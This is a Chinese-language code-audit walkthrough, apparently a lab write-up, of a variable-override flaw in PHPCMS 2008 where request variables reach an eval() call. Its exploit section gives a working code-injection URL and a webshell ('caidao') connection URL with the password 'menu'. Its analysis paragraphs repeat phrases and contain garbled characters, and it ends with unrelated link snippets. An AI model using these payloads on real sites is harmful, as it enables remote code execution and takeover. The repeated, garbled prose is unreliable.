phpcms 2008 变量覆盖漏洞
一、 启动环境
1.双击运行桌面phpstudy.exe软件

2.点击启动按钮,启动服务器环境
二、代码审计
1.双击启动桌面Seay源代码审计系统软件

3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\ phpcms 2008),点击确定
漏洞分析
1.点击展开/yp/web/include/common.inc.php
<?php
defined('IN_PHPCMS') or exit('Access Denied');
$userid = $userid ? $userid : intval(QUERY_STRING);
$r = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$userid'");
if($r)
{
extract($r);
}
if(!$userid)
{
$MS['title'] = '浣犺璁块棶鐨勭珯鐐逛笉瀛樺湪';
$MS['description'] = '璇锋牳瀵圭綉鍧€鏄惁姝g‘.';
$MS['urls'][0] = array(
'name'=>'璁块棶缃戠珯棣栭〉',
'url'=>$PHPCMS['siteurl'],
);
$MS['urls'][1] = array(
'name'=>'娉ㄥ唽涓烘湰绔欎細鍛?,
'url'=>$PHPCMS['siteurl'].'member/register.php',
);
msg($MS);
}
程序首先赋值一个userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给userid变量,然后使用赋值完成变量拼接sql语句执行,SQL语句执行完成以后返回数据给r变量数组,如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果r变量存在内容,则将变量数组内容加入到当前文件的符号表中。如果userid变量内容为false则将显示错误页面内容,但是目前userid并没有找到在哪里获取。2.如果userid并没有找到在哪里获取。
2.如果userid并没有找到在哪里获取。2.如果userid不为false,则接着往下执行
if(empty($tplname)) $tplname = 'default';
//用户选择的默认模板
$companytpl_config = include PHPCMS_ROOT.'templates/'.TPL_NAME.'/yp/companytplnames.php';
$tpl = $companytpl_config[$tplname]['tplname'];
define('TPL', $tpl);
define('WEB_SKIN', 'templates/'.TPL_NAME.'/yp/css/');
if($diy)
{
define('SKIN_DIY', WEB_SKIN.$userid.'_diy.css');
}
else
{
define('SKIN_DIY', WEB_SKIN.$companytpl_config[$tplname]['style']);
}
$menu = string2array($menu);
代码接着进行初始化模板文件,最后将menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量传输到string2array()函数,目前又来疑问,menu变量从何而来?
3.现在需要了解一下string2array()到底什么作用,string2array函数存放在include/global.func.php
function string2array($data)
{
if($data == '') return array();
eval("\$array = $data;");
return $array;
}
看到函数发现,内部有eval敏感函数,并且把传送过去的menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu进行执行,现在有这么个假设,如果menu变量可以控制,那么完全进行任意代码执行。
4.目前成立这个假设userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成userid主要是为了去数据库查询内容,然后将返回的内容构成一个数组,使用extract()将数组的内容添加到当前符号表中,从而也就生成menu变量,如果能够让数据库返回空,不让他覆盖或者生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,然后在别的位置生成新的menu变量,从而执行想执行代码。
5.在include/common.inc.php文件中,会将GET、POST、Cookie转换成变量
if($_REQUEST)
{
if(MAGIC_QUOTES_GPC)
{
$_REQUEST = new_stripslashes($_REQUEST);
if($_COOKIE) $_COOKIE = new_stripslashes($_COOKIE);
extract($db->escape($_REQUEST), EXTR_SKIP);
}
else
{
$_POST = $db->escape($_POST);
$_GET = $db->escape($_GET);
$_COOKIE = $db->escape($_COOKIE);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_COOKIE,EXTR_SKIP);
}
if(!defined('IN_ADMIN')) $_REQUEST = filter_xss($_REQUEST, ALLOWED_HTMLTAGS);
if($_COOKIE) $db->escape($_COOKIE);
}
所以可以利用这个位置提前生成menu变量和menu变量和menu变量和userid变量,并且把userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,userid内容置位数据库不存在的内容,menu变量内容为想要执行的代码。
漏洞利用
1.访问
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=phpinfo();exit;

菜刀直接连接
http://192.168.91.136/phpcms/yp/web/index.php?userid=1234324&menu=exit;
//密码 menu
phpcms 2008 变量覆盖漏洞的更多相关文章
- php之变量覆盖漏洞讲解
1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...
- ctf变量覆盖漏洞:
1.变量覆盖: ①:针对extract函数的变量覆盖漏洞: <?php @error_reporting(E_ALL^E_NOTICE); require('config.php'); if($ ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- 7. 由一道ctf学习变量覆盖漏洞
0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...
- Web安全之变量覆盖漏洞
通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_reques ...
- 代码审计-MetInfo CMS变量覆盖漏洞
0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...
- CTF——代码审计之变量覆盖漏洞writeup【2】
题目: 基础: 所需基础知识见变量覆盖漏洞[1] 分析: 现在的$a=’hi’,而下面的函数需满足$a=’jaivy’才可以输出flag,那么需要做的事就是想办法覆盖掉$a原来的值. 那么出现的提示 ...
- 2020/2/1 PHP代码审计之变量覆盖漏洞
0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...
随机推荐
- python小白记录一 ——python脚本生成windows可执行exe
1.需要安装pywin32 先查看自己有没有安装:使用如下命令查看 pip show pywin32 如果没有则用下面方式进行安装: pip install pywin32 然后等待安装完成: 2.再 ...
- Solution -「CF 623E」Transforming Sequence
题目 题意简述 link. 有一个 \(n\) 个元素的集合,你需要进行 \(m\) 次操作.每次操作选择集合的一个非空子集,要求该集合不是已选集合的并的子集.求操作的方案数,对 \(10^9 ...
- Solution -「NOIOL-S 2021」「洛谷 P7470」岛屿探险
\(\mathcal{Description}\) Link. 给定序列 \(\{(a,b)_n\}\),\(q\) 组形如 \((l,r,c,d)\) 的询问,求 \[\Big|\{i\in ...
- Solution -「CF 840C」On the Bench
\(\mathcal{Description}\) Link. 给定数列 \(\{a_n\}\),求排列 \(\{p_n\}\) 的个数,使得 \((\forall i\in[1,n))(a_ ...
- 【自动化测试框架】pytest和unitttest你知道多少?区别在哪?该用哪个?
一.大家熟知的自动化测试框架 Java JUnit.TestNG等等. python PyUnit(unittest).Pytest.Robot Framework等等 二.Pytest介绍 pyte ...
- 图解python | 安装与环境设置
作者:韩信子@ShowMeAI 教程地址:http://www.showmeai.tech/tutorials/56 本文地址:http://www.showmeai.tech/article-det ...
- Spring声明式事务的两种配置方式(注解/xml)
application配置tx:annotation-driven 配置声明式事务tx:TransactionManager 声明式事务需要数据源所以需要配置DataSource 使用:在类或者方法上 ...
- pytest--pytest基本介绍
pytest简介 pytest 是 python 的第三方单元测试框架,比自带的 unittest 更简洁和高 效,同时兼容 unittest 框架.它还有如下优点: 1.简单灵活,容易上手,文档丰富 ...
- 力扣第二题 大数相加 ,链表在python到底该怎么写?
但问题在于链表的表示 如何创建一个L3呢 如何用next将他们连接起来呢? 原来是采用 制作链表的形式 l3_pointer.next = ListNode(l1_pointer.val + l2_ ...
- 十一讲/十二讲 最近总是学不进去,这咋办啊 哭了我i我i我i
0: 2,9,7 错错错 帽号回来是列表 1:好像一样? 错错错 不一样,list[0]是一个值,冒号回来是个列表 2:A.insert(0,A[-1]) del A[-1] ...